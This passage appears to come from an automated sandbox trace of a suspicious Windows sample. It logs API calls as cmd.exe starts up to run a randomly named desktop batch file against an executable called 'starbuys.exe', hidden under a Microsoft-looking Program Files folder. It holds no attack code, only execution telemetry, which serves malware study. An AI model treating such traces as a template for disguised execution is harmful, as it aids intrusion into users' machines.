(dwErrCode=0x20) [0113.794] GetLastError () returned 0x20 [0113.794] SetLastError (dwErrCode=0x20) [0113.794] GetLastError () returned 0x20 [0113.794] SetLastError (dwErrCode=0x20) [0113.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x589720 [0113.794] GetLastError () returned 0x20 [0113.795] SetLastError (dwErrCode=0x20) [0113.795] GetLastError () returned 0x20 [0113.795] SetLastError (dwErrCode=0x20) [0113.795] GetLastError () returned 0x20 [0113.795] SetLastError (dwErrCode=0x20) [0113.795] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0113.795] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0113.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588800 | out: hHeap=0x570000) returned 1 [0113.798] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0113.798] ExitProcess (uExitCode=0x1) [0113.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5870a0 | out: hHeap=0x570000) returned 1 Process: id = "210" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2734f000" os_pid = "0xf34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 801 os_tid = 0xf38 [0115.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2af9a4 | out: lpSystemTimeAsFileTime=0x2af9a4*(dwLowDateTime=0xe81dbf00, dwHighDateTime=0x1d5d06a)) [0115.206] GetCurrentProcessId () returned 0xf34 [0115.206] GetCurrentThreadId () returned 0xf38 [0115.206] GetTickCount () returned 0x11646f0 [0115.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2af99c | out: lpPerformanceCount=0x2af99c*=25715796165) returned 1 [0115.317] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0115.317] __set_app_type (_Type=0x1) [0115.317] __p__fmode () returned 0x76be31f4 [0115.317] __p__commode () returned 0x76be31fc [0115.317] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0115.317] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0115.317] GetCurrentThreadId () returned 0xf38 [0115.317] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf38) returned 0x60 [0115.318] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0115.318] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0115.318] SetThreadUILanguage (LangId=0x0) returned 0x409 [0115.318] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0115.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2af934 | out: phkResult=0x2af934*=0x0) returned 0x2 [0115.318] VirtualQuery (in: lpAddress=0x2af96b, lpBuffer=0x2af904, dwLength=0x1c | out: lpBuffer=0x2af904*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0115.318] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2af904, dwLength=0x1c | out: lpBuffer=0x2af904*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0115.318] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2af904, dwLength=0x1c | out: lpBuffer=0x2af904*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0115.318] VirtualQuery (in: lpAddress=0x1b3000, lpBuffer=0x2af904, dwLength=0x1c | out: lpBuffer=0x2af904*(BaseAddress=0x1b3000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0115.318] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2af904, dwLength=0x1c | out: lpBuffer=0x2af904*(BaseAddress=0x2b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0115.318] GetConsoleOutputCP () returned 0x1b5 [0115.319] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0115.319] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0115.319] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.319] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0115.319] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.319] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0115.319] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.319] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0115.320] _get_osfhandle (_FileHandle=0) returned 0x3 [0115.320] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0115.320] _get_osfhandle (_FileHandle=0) returned 0x3 [0115.320] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0115.320] GetEnvironmentStringsW () returned 0x5e2120* [0115.320] GetProcessHeap () returned 0x5d0000 [0115.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xaca) returned 0x5e2bf8 [0115.321] FreeEnvironmentStringsW (penv=0x5e2120) returned 1 [0115.321] GetProcessHeap () returned 0x5d0000 [0115.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4) returned 0x5e18c0 [0115.321] GetEnvironmentStringsW () returned 0x5e2120* [0115.321] GetProcessHeap () returned 0x5d0000 [0115.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xaca) returned 0x5e36d0 [0115.321] FreeEnvironmentStringsW (penv=0x5e2120) returned 1 [0115.321] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae8a4 | out: phkResult=0x2ae8a4*=0x68) returned 0x0 [0115.321] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x0, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.321] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x1, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.321] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x1, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.321] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x0, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.321] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x40, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x40, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x40, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.322] RegCloseKey (hKey=0x68) returned 0x0 [0115.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae8a4 | out: phkResult=0x2ae8a4*=0x68) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x40, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x1, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x1, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x0, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x9, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x4, lpData=0x2ae8b0*=0x9, lpcbData=0x2ae8a8*=0x4) returned 0x0 [0115.322] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae8ac, lpData=0x2ae8b0, lpcbData=0x2ae8a8*=0x1000 | out: lpType=0x2ae8ac*=0x0, lpData=0x2ae8b0*=0x9, lpcbData=0x2ae8a8*=0x1000) returned 0x2 [0115.322] RegCloseKey (hKey=0x68) returned 0x0 [0115.322] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271105 [0115.322] srand (_Seed=0x5e271105) [0115.322] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"\"" [0115.322] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"\"" [0115.323] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0115.323] GetProcessHeap () returned 0x5d0000 [0115.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x210) returned 0x5e2120 [0115.324] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5e2128, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0115.324] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0115.324] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0115.324] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0115.324] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0115.324] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0115.324] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0115.324] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0115.324] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0115.324] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0115.324] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0115.324] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0115.324] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0115.324] GetProcessHeap () returned 0x5d0000 [0115.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e2bf8 | out: hHeap=0x5d0000) returned 1 [0115.324] GetEnvironmentStringsW () returned 0x5e2338* [0115.324] GetProcessHeap () returned 0x5d0000 [0115.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xae2) returned 0x5e4c98 [0115.325] FreeEnvironmentStringsW (penv=0x5e2338) returned 1 [0115.325] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.325] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0115.325] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0115.325] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0115.325] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0115.325] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0115.325] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0115.325] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0115.325] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0115.325] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0115.325] GetProcessHeap () returned 0x5d0000 [0115.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5e17f0 [0115.325] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2af670 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0115.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2af670, lpFilePart=0x2af66c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2af66c*="Desktop") returned 0x25 [0115.325] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0115.325] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2af3ec | out: lpFindFileData=0x2af3ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5e5788 [0115.326] FindClose (in: hFindFile=0x5e5788 | out: hFindFile=0x5e5788) returned 1 [0115.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2af3ec | out: lpFindFileData=0x2af3ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5e5788 [0115.326] FindClose (in: hFindFile=0x5e5788 | out: hFindFile=0x5e5788) returned 1 [0115.326] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0115.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2af3ec | out: lpFindFileData=0x2af3ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5e5788 [0115.326] FindClose (in: hFindFile=0x5e5788 | out: hFindFile=0x5e5788) returned 1 [0115.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0115.326] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0115.326] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0115.326] GetProcessHeap () returned 0x5d0000 [0115.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4c98 | out: hHeap=0x5d0000) returned 1 [0115.326] GetEnvironmentStringsW () returned 0x5e41a8* [0115.326] GetProcessHeap () returned 0x5d0000 [0115.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb36) returned 0x5e5fc8 [0115.327] FreeEnvironmentStringsW (penv=0x5e41a8) returned 1 [0115.327] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0115.327] GetProcessHeap () returned 0x5d0000 [0115.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e17f0 | out: hHeap=0x5d0000) returned 1 [0115.327] GetProcessHeap () returned 0x5d0000 [0115.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400e) returned 0x5e6b08 [0115.327] GetProcessHeap () returned 0x5d0000 [0115.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x100) returned 0x5e2e78 [0115.327] GetProcessHeap () returned 0x5d0000 [0115.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5eab20 [0115.328] GetProcessHeap () returned 0x5d0000 [0115.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5eeb30 [0115.328] GetProcessHeap () returned 0x5d0000 [0115.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6b08 | out: hHeap=0x5d0000) returned 1 [0115.328] GetConsoleOutputCP () returned 0x1b5 [0115.328] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0115.328] GetUserDefaultLCID () returned 0x409 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2af7b0, cchData=128 | out: lpLCData="0") returned 2 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2af7b0, cchData=128 | out: lpLCData="0") returned 2 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2af7b0, cchData=128 | out: lpLCData="1") returned 2 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0115.329] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0115.330] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0115.330] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0115.331] GetProcessHeap () returned 0x5d0000 [0115.331] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20c) returned 0x5e2f80 [0115.332] GetConsoleTitleW (in: lpConsoleTitle=0x5e2f80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.332] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0115.332] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0115.332] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0115.332] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0115.333] GetProcessHeap () returned 0x5d0000 [0115.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5e6b08 [0115.333] GetProcessHeap () returned 0x5d0000 [0115.333] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6b08 | out: hHeap=0x5d0000) returned 1 [0115.334] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0115.334] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0115.334] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0115.334] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0115.334] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0115.334] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0115.334] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0115.334] GetProcessHeap () returned 0x5d0000 [0115.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e3198 [0115.334] GetProcessHeap () returned 0x5d0000 [0115.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x72) returned 0x5f2b58 [0115.336] GetProcessHeap () returned 0x5d0000 [0115.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x5e31f8 [0115.336] GetConsoleTitleW (in: lpConsoleTitle=0x2af4a8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.337] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0115.337] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0115.337] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0115.337] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0115.337] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0115.337] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0115.337] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0115.337] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0115.337] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0115.337] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0115.337] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0115.337] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0115.337] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0115.337] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0115.337] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0115.337] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0115.337] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0115.337] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0115.337] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0115.337] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0115.337] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0115.337] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0115.337] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0115.337] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0115.338] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0115.338] 